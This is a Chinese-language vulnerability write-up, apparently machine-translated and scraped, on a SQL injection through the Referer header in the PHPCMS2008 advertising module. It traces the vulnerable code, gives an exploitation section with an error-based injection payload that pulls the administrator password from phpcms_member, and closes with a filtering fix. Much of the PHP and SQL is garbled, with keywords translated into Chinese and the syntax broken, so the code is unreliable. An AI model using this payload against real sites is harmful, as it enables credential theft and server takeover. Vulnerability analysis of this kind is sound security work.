PHPCMS2008广告模板SQL注入漏洞修复
00漏洞描述
在PHPCMS2008中,广告模块在获取引用方面比较松懈,导致了一个sql注入漏洞。可以获取管理员用户名和密码,攻击者登录后台后可能会得到webshell,进一步渗透服务器。
01漏洞分析
漏洞位置:
/ads/include/ads _ place.class.php在显示方法中。
功能显示($placeid).if($ adses[0][' option ']){ foreach($ adses as $ ads){ $ contents[]=ads _ content($ ads,1);$ this-db-query(" INSERT INTO $ this-stat _ table(` adsid `、` username `、` ip `、` referer `、` clicktime `、` type `)VALUES($ ads[adsid]'、' $_username '、' $ip '、' $ this-referer '、' $time '、' 0 ')));$template=$ads['template']?$ ads[' template ']: ' ads ';}} .在SQL语句中
$ this-db-query(" INSERT INTO $ this-stat _ table(` adsid `、` username `、` ip `、` referer `、` clicktime `、` type `)VALUES($ ads[adsid]'、' $_username '、' $ip '、' $ this-referer '、' $time '、' 0 ')));这里,$ this-referer通过这个方法直接将HTTP请求头中的referer字段插入到数据库中,没有任何过滤措施。(这个这个方法直接封装在PHPCMS中)。
因此,既然已经找到了漏洞,下一步就是找到包含该漏洞的用户可控页面。如果漏洞是用户无法控制的,比如只能由管理员使用,那就相当鸡肋了。
这里我们使用回溯方法来查看哪些页面调用了它。
page/ads/ads/Inc/Inc/commom . PHP
?服务器端编程语言(Professional Hypertext Preprocessor的缩写).需要MOD_ROOT。include/ads _ place . class . PHP ';需要MOD_ROOT。include/ads . class . PHP ';查查看谁打了电话/ads/ads/Inc/commom . Inc . PHP
/ads/ad.php文件
?服务器端编程语言(Professional Hypertext Preprocessor的缩写).要求。/include/common . Inc . PHP ';Ad.php文件是用户可控制的文件,但有时ad.php无法访问它们。继续查找/data/js.php。
?phpchdir('./ads/');要求。/ad . PHP ';当用户访问主页时,会调用js.php,有害字段可以通过这个文件提交。然后,通过一层一层地调用,将字段引用者传递给危险方法显示,并引入SQL注入攻击。
02剥削
有许多方法可以修改请求头中的引用字段,例如burpsuite、篡改数据…
这里,火狐的篡改数据直接用于修改:
点击开始篡改,然后访问?id=1
此时,篡改数据将会跳出。在右侧框架中,右键单击并添加一个元素值以填充有效负载
referer=1 ',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),char(45,45,45),(从phpcms _ member limit1中选择密码))a from information _ schema。表按a) b)、‘0’)#分组这里我解释一下:因为易受攻击的sql语句是INSERT且不回显,所以可以使用盲注,这里的负载使用floor error injection。楼层误差注入的原理,请参考楼层功能的用法
将此负载引入sql语句是:
$ this-db-query(" INSERT INTO $ this-stat _ table(` adsid `、` username `、` ip `、` refer `、` clicktime `、` type `) VALUES($ ads[adsid]'、' $_username '、' $ip '、' 1 '、' $time '、(SELECT 1 FROM (select count(*)、concat(floor(rand(0)*2)、char 45,45),(SELECT password FROM phpcms _ member limit 1))a FROM information _ schema . tables按a分组)b
03错误修复
筛选相关字段。
$ refer=safe _ replace($ this-refer);$ this-db-query(' INSERT INTO $ this-stat _ table(` adsid `、` username `、` ip `、` referer `、` clicktime `、` type `)VALUES($ ads[adsid]'、' $_username '、' $ip '、' $ referer '、' $time '、' 0 ')));$template=$ads['template']?$ ads[' template ']: ' ads ';Safe_replace是PHPCMS2008包的过滤功能。
以上是边肖介绍的PHPCMS2008广告模板在SQL注入的一个漏洞。希望对大家有帮助。如果你有任何问题,请给我留言,边肖会及时回复你。非常感谢您对我们网站的支持!
版权声明:PHPCMS2008广告模板SQL注入漏洞修复是由宝哥软件园云端程序自动收集整理而来。如果本文侵犯了你的权益,请联系本站底部QQ或者邮箱删除。